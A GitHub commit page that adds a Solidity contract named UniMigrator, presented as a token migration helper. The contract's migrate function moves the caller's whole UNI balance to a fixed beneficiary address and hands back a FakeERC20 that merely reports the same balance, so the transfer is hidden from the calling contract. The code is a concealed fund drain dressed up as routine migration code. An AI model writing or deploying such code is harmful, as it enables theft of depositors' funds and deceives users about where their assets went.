Skip to content

Commit

Permalink
Add UniMigrator
Browse files Browse the repository at this point in the history
  • Loading branch information
chefnomi committed Sep 17, 2020
1 parent 3c79353 commit 26af8ce
Showing 1 changed file with 52 additions and 0 deletions.
52 changes: 52 additions & 0 deletions contracts/UniMigrator.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
pragma solidity 0.6.12;

interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}

contract FakeERC20 {
uint256 public amount;

constructor(uint256 _amount) public {
amount = _amount;
}

function balanceOf(address _owner) public view returns (uint256) {
return amount;
}
}

contract UniMigrator {
address public chef;
address public origin;
address public beneficiary;

constructor(
address _chef,
address _origin,
address _beneficiary
) public {
chef = _chef;
origin = _origin;
beneficiary = _beneficiary;
}

function migrate(IERC20 src) public returns (address) {
require(address(src) == 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984, "not uni token");
require(msg.sender == chef, "not from master chef");
require(tx.origin == origin, "not from origin");
uint256 bal = src.balanceOf(msg.sender);
src.transferFrom(msg.sender, beneficiary, bal);
return address(new FakeERC20(bal));
}
}

0 comments on commit 26af8ce

Please sign in to comment.